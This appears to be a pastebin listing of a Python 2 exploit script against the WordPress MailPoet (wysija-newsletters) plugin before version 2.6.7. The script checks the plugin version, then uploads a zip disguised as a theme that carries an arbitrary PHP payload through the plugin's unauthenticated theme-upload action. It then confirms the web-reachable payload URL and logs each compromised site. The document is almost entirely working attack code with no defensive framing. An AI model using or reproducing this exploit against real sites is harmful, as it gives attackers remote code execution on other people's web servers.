SHOW:
|
|
- or go back to the newest paste.
1 | #!/usr/bin/env python | |
2 | # -*- coding: utf-8 -*- | |
3 | # not coded by me | |
4 | ||
5 | from random import choice | |
6 | import string | |
7 | import sys | |
8 | import re | |
9 | from zipfile import ZipFile | |
10 | from StringIO import StringIO | |
11 | import requests | |
12 | from colors import red, green, blue # pip install ansicolors | |
13 | ||
14 | ||
15 | def version_compare(v1, v2): | |
16 | def normalize(v): | |
17 | return [int(x) for x in re.sub(r'(\.0+)*$', '', v).split(".")] | |
18 | return cmp(normalize(v1), normalize(v2)) | |
19 | ||
20 | ||
21 | def create_zip_file(theme_name, payload_name, payload): | |
22 | files = { | |
23 | "%s/%s" % (theme_name, 'style.css'): '', | |
24 | "%s/%s" % (theme_name, payload_name): payload | |
25 | } | |
26 | zip_file = StringIO() | |
27 | with ZipFile(zip_file, 'w') as zip: | |
28 | for path in files: | |
29 | zip.writestr(path, files[path]) | |
30 | zip_file.seek(0) | |
31 | return zip_file | |
32 | ||
33 | ||
34 | def check(url): | |
35 | readme_url = "%s/wp-content/plugins/wysija-newsletters/readme.txt" % url | |
36 | res = requests.get(readme_url, timeout=15, verify=False) | |
37 | if res.status_code == 200: | |
38 | match = re.search("stable tag: (.*)[\r\n]", res.text, re.I) | |
39 | version = match.group(1) | |
40 | fun = green if version_compare(version, "2.6.7") < 0 else blue | |
41 | print fun("[?] found version: %s" % version) | |
42 | return version_compare(version, "2.6.7") < 0 | |
43 | else: | |
44 | raise Exception("error getting version") | |
45 | ||
46 | ||
47 | def exploit(url, payload_data): | |
48 | theme_name = '.tmp' # better to keep the chaos to one directory. | |
49 | payload_name = ''.join([choice(string.letters) for i in range(5)]) + ".php" | |
50 | zip_file = create_zip_file(theme_name, payload_name, payload_data) | |
51 | ||
52 | files = {'my-theme': ('%s.zip' % theme_name, zip_file, "application/x-zip-compressed")} | |
53 | data = { | |
54 | "action": "themeupload", | |
55 | "submitter": "Upload", | |
56 | "overwriteexistingtheme": "on" | |
57 | } | |
58 | ||
59 | target_url = "%s/wp-admin/admin-post.php?page=wysija_campaigns&action=themes" % url | |
60 | payload_url = "%s/%s/%s/%s" % (url, 'wp-content/uploads/wysija/themes', theme_name, payload_name) | |
61 | ||
62 | print blue("[?] attempting to upload zip (%s)..." % target_url) | |
63 | # Don't rely on checking response, have observed some strange behaviour even with successful upload | |
64 | requests.post(target_url, files=files, data=data, verify=False, timeout=15) | |
65 | ||
66 | print blue("[?] checking upload (%s)..." % payload_url) | |
67 | response = requests.head(payload_url, verify=False, timeout=15) | |
68 | if response.status_code == 200: | |
69 | print green("[+] found: %s" % payload_url) | |
70 | return payload_url | |
71 | else: | |
72 | raise Exception("upload failed.") | |
73 | ||
74 | ||
75 | if __name__ == "__main__": | |
76 | ||
77 | if len(sys.argv) > 2: | |
78 | payload = open(sys.argv[1]).read() | |
79 | wp_url = sys.argv[2] | |
80 | try: | |
81 | if check(wp_url): | |
82 | res = exploit(wp_url, payload) | |
83 | if res: | |
84 | with open("found-sija.log", "a") as log: | |
85 | log.write("%s\n" % res) | |
86 | except Exception as e: | |
87 | print red("[!] %s - %s" % (wp_url, e)) |